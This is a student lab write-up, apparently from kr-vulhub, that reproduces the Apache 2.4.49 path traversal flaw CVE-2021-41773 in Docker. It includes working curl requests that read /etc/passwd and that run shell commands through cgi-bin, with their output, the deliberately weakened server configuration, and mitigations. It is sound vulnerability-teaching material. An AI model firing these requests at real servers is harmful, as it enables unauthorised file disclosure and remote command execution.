
WHS 4ª geração 이희수. Submissão de tarefa do kr-vulhub.
Contribuidores
O Apache HTTP Server 2.4.49 possui uma vulnerabilidade no processo de normalização de caminhos de URL que não bloqueia adequadamente caminhos pai codificados.
Um atacante pode usar valores como .%2e para se mover para fora do diretório que o servidor web foi configurado para expor. Em ambientes onde o acesso a diretórios externos é permitido, arquivos internos do servidor podem ser expostos e, se o CGI estiver habilitado, isso pode levar à execução remota de comandos ao executar um shell do sistema.
Neste projeto, construímos diretamente um ambiente Apache HTTP Server 2.4.49 usando Docker e reproduzimos os dois cenários a seguir.
/etc/passwd usando Path TraversalCVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│ └── httpd.conf
├── web/
│ └── index.html
├── scripts/
│ ├── poc.sh
│ └── poc.ps1
└── screenshots/
├── 01-container-status.png
├── 02-normal-service.png
├── 03-apache-version.png
├── 04-path-traversal.png
├── 05-rce-whoami.png
└── 06-poc-script.png
Execute o seguinte comando para construir a imagem Docker e iniciar o contêiner:
docker compose up -d --build
Verifique o status da execução do contêiner com o seguinte comando:
docker ps
No resultado da execução, confirme que o contêiner está no estado Up e que a porta 8080 do host está conectada à porta 80 do contêiner.

Acesse o seguinte endereço no navegador:
http://localhost:8080
Com a página web do Apache sendo exibida normalmente, a configuração do ambiente está concluída.

Verifique a versão do Apache dentro do contêiner com o seguinte comando:
docker compose exec web /usr/local/apache2/bin/httpd -v
Resultado da execução:
Server version: Apache/2.4.49 (Unix)
Confirme que o Apache HTTP Server 2.4.49, afetado pela CVE-2021-41773, está em execução.

Neste ambiente de laboratório, as seguintes condições são aplicadas:
daemonA configuração do Apache permite acesso ao caminho raiz do sistema de arquivos, como mostrado abaixo:
<Directory "/">
AllowOverride None
Require all granted
</Directory>
Além disso, a seguinte configuração foi usada para a execução de CGI:
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options +ExecCGI
Require all granted
</Directory>
A seguinte solicitação acessa o arquivo /etc/passwd dentro do contêiner usando um caminho pai codificado:
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
O valor .%2e é tratado como .. após a decodificação da URL.
Dessa forma, um atacante pode subir vários diretórios a partir do caminho Alias e acessar o arquivo /etc/passwd.
Resultado da execução:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

O /etc/passwd armazena informações de contas do sistema, como nome de usuário, UID, GID, diretório inicial e shell de login.
Embora não contenha senhas reais, a vulnerabilidade de exposição de informações é confirmada pelo fato de um arquivo interno do servidor, que um usuário web externo legítimo não deveria acessar, ter sido exposto apenas por uma solicitação HTTP.
Em um ambiente de produção real, as seguintes informações confidenciais podem ser expostas da mesma forma:
A seguinte solicitação usa Path Traversal para acessar /bin/sh e executar o comando whoami.
curl -s --path-as-is \
-d "echo Content-Type: text/plain; echo; whoami" \
"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
Resultado da execução:
daemon

Como o caminho /cgi-bin/ é configurado com ScriptAlias, o Apache não apenas lê o arquivo nesse caminho, mas o executa como um programa CGI.
Ao acessar /bin/sh por meio de Path Traversal e enviar os comandos no corpo da solicitação, os comandos são executados com as permissões da conta sob a qual o Apache é executado.
Neste ambiente, o Apache é executado com as seguintes contas:
User daemon
Group daemon
Portanto, o resultado da execução do comando também foi exibido com a conta daemon.
Embora não tenha privilégios de root, existe a possibilidade das seguintes ameaças adicionais:
Em vez de comandos individuais, você pode usar o script de PoC para verificar de uma só vez o serviço normal, o Path Traversal e a execução remota de comandos.
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1
bash scripts/poc.sh
O script verifica os seguintes itens em ordem:
[1] 정상 서비스 확인
[2] Path Traversal을 통한 /etc/passwd 접근
[3] CGI를 통한 id 명령 실행

Não use o Apache HTTP Server 2.4.49; atualize para a versão mais recente com os patches de segurança aplicados.
Em ambientes de produção, o caminho raiz do sistema de arquivos deve ser bloqueado por padrão.
<Directory "/">
Require all denied
</Directory>
Permita apenas os diretórios web necessários, separadamente.
<Directory "/usr/local/apache2/htdocs">
Require all granted
</Directory>
Se o CGI não for necessário, desative os seguintes recursos:
mod_cgiScriptAliasExecCGIO processo do Apache deve ser executado com uma conta de serviço restrita, não com root, e os arquivos e diretórios acessíveis a essa conta devem ser minimizados.
Solicitações contendo caminhos anômalos, como os seguintes, devem ser detectadas e bloqueadas:
.%2e
%2e%2e
/cgi-bin/
docker compose down
Neste laboratório, compilamos o Apache HTTP Server 2.4.49 usando um Dockerfile e configuramos um ambiente vulnerável reproduzível com o Docker Compose.
Confirmamos que, por meio de uma solicitação de Path Traversal, o arquivo /etc/passwd dentro do contêiner, que um usuário web comum não deveria acessar, foi exposto.
Também confirmamos que, em um ambiente com CGI habilitado, é possível acessar /bin/sh e executar comandos do sistema com as permissões da conta daemon, sob a qual o Apache é executado.
Com isso, é possível confirmar que a CVE-2021-41773 é uma vulnerabilidade que pode levar não apenas à exposição de caminhos, mas também à execução remota de comandos, dependendo da configuração do ambiente.